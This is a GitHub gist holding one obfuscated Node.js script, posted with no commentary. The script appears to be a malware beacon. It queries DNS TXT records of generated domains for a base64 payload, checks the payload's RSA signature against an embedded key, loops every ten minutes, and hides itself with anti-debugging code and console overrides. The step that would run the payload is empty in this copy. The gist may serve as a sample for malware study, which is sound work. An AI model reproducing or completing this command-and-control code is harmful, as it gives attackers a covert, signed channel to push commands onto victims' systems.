Skip to content

Instantly share code, notes, and snippets.

@bskiefer
Created January 28, 2025 15:23
Show Gist options
  • Save bskiefer/8171e3d5dd35b102ae15db9b2739198b to your computer and use it in GitHub Desktop.
Save bskiefer/8171e3d5dd35b102ae15db9b2739198b to your computer and use it in GitHub Desktop.
const dns = require("node:dns");
const dnsPromises = dns.promises;
const crypto = require('node:crypto');
function parseTxtMessage(_0x1abf0c) {
const _0x1a2ea9 = {};
for (const _0x5c338d of _0x1abf0c) {
try {
const _0x4e00a2 = _0x5c338d.join('');
let _0x7a04a4 = parseInt(_0x4e00a2.substring(0x0, 0x2), 0x10);
_0x1a2ea9[_0x7a04a4] = _0x4e00a2.substring(0x2);
} catch (_0x465ad6) {
console.warn(_0x465ad6);
}
}
const _0x4f7fb8 = Object.keys(_0x1a2ea9);
_0x4f7fb8.sort(function (_0x3ece9a, _0x111872) {
return _0x3ece9a - _0x111872;
});
let _0x532181 = '';
for (const _0x25fbfc of _0x4f7fb8) {
_0x532181 += _0x1a2ea9[_0x25fbfc];
}
_0x532181 = _0x532181.replaceAll('.', '/').replaceAll('-', '=');
const _0xeb401d = Buffer.from(_0x532181, "base64");
const _0x28676a = _0xeb401d.readUInt16LE(0x0);
const _0x3da663 = _0xeb401d.readUInt8(0x2);
const _0x6b5a34 = _0xeb401d.subarray(0x3, 0x3 + _0x28676a);
const _0x24f7bc = _0xeb401d.subarray(0x3 + _0x28676a, 0x3 + _0x28676a + _0x3da663);
const _0xb0bda0 = crypto.verify("RSA-SHA256", _0x6b5a34, "-----BEGIN PUBLIC KEY-----\nMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDSE9yVacCTY5hKgJiHNLW+TBH6\nzg9b+bs2KiKtEcYlAOiUTw4U1SkpX8Fkt56rpzYvtkpxmWaFpRVjthQiRy5kjrs1\nM4gjGj+4SXAI5z6PWLnIHIvT0l3agq2BVvjmaRjlbVDYSgB+kZKjL+2KmTPgtJuX\nEmTuiLLkxx2es325VQIDAQAB\n-----END PUBLIC KEY-----", _0x24f7bc);
if (!_0xb0bda0) {
return null;
}
return _0x6b5a34;
}
const aa = ['tu', 'gd', 'op', "wub", 'qw', 'lw', 'po', 'mo'];
const bb = ['in', 'de', 'jp', "unl", "777", 'app'];
const cc = ["com", 'io'];
const run = async function () {
for (const _0x139075 of cc) {
for (const _0x291bc5 of bb) {
for (const _0x300acd of aa) {
try {
let _0x4920c8 = _0x300acd + _0x291bc5 + '.' + _0x139075;
const _0xa981a5 = await dnsPromises.resolveTxt(_0x4920c8);
const _0x2a827d = parseTxtMessage(_0xa981a5);
if (_0x2a827d != null) {
console.log("text: " + _0x4920c8);
try {} catch (_0x5b75ad) {
console.error(_0x5b75ad);
}
}
} catch (_0x5aad46) {}
}
}
}
};
function delay(_0x53b691, _0x28c526) {
return new Promise(_0x8541bb => setTimeout(_0x8541bb, _0x53b691, _0x28c526));
}
(async function () {
const _0x573b1e = function () {
let _0x5410d3 = true;
return function (_0xe05af1, _0xe97fbe) {
const _0x41fb8e = _0x5410d3 ? function () {
if (_0xe97fbe) {
const _0x2e99b6 = _0xe97fbe.apply(_0xe05af1, arguments);
_0xe97fbe = null;
return _0x2e99b6;
}
} : function () {};
_0x5410d3 = false;
return _0x41fb8e;
};
}();
const _0xc6ecda = _0x573b1e(this, function () {
return _0xc6ecda.toString().search("(((.+)+)+)+$").toString().constructor(_0xc6ecda).search("(((.+)+)+)+$");
});
_0xc6ecda();
const _0x696a6 = function () {
let _0x348707 = true;
return function (_0x4d2aab, _0x2f1453) {
const _0x1a54d1 = _0x348707 ? function () {
if (_0x2f1453) {
const _0x1abfb9 = _0x2f1453.apply(_0x4d2aab, arguments);
_0x2f1453 = null;
return _0x1abfb9;
}
} : function () {};
_0x348707 = false;
return _0x1a54d1;
};
}();
const _0x13107a = _0x696a6(this, function () {
const _0x3819c0 = function () {
let _0x46ce91;
try {
_0x46ce91 = Function("return (function() {}.constructor(\"return this\")( ));")();
} catch (_0x45f300) {
_0x46ce91 = window;
}
return _0x46ce91;
};
const _0x5a7270 = _0x3819c0();
const _0x591661 = _0x5a7270.console = _0x5a7270.console || {};
const _0x33d2da = ['log', 'warn', "info", 'error', "exception", "table", "trace"];
for (let _0x5a0f5d = 0x0; _0x5a0f5d < _0x33d2da.length; _0x5a0f5d++) {
const _0x5581f2 = _0x696a6.constructor.prototype.bind(_0x696a6);
const _0x2a6ca6 = _0x33d2da[_0x5a0f5d];
const _0x3fbfde = _0x591661[_0x2a6ca6] || _0x5581f2;
_0x5581f2.__proto__ = _0x696a6.bind(_0x696a6);
_0x5581f2.toString = _0x3fbfde.toString.bind(_0x3fbfde);
_0x591661[_0x2a6ca6] = _0x5581f2;
}
});
_0x13107a();
while (true) {
try {
await run();
} catch (_0x536508) {
console.error(_0x536508);
}
await delay(600000);
}
})();
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment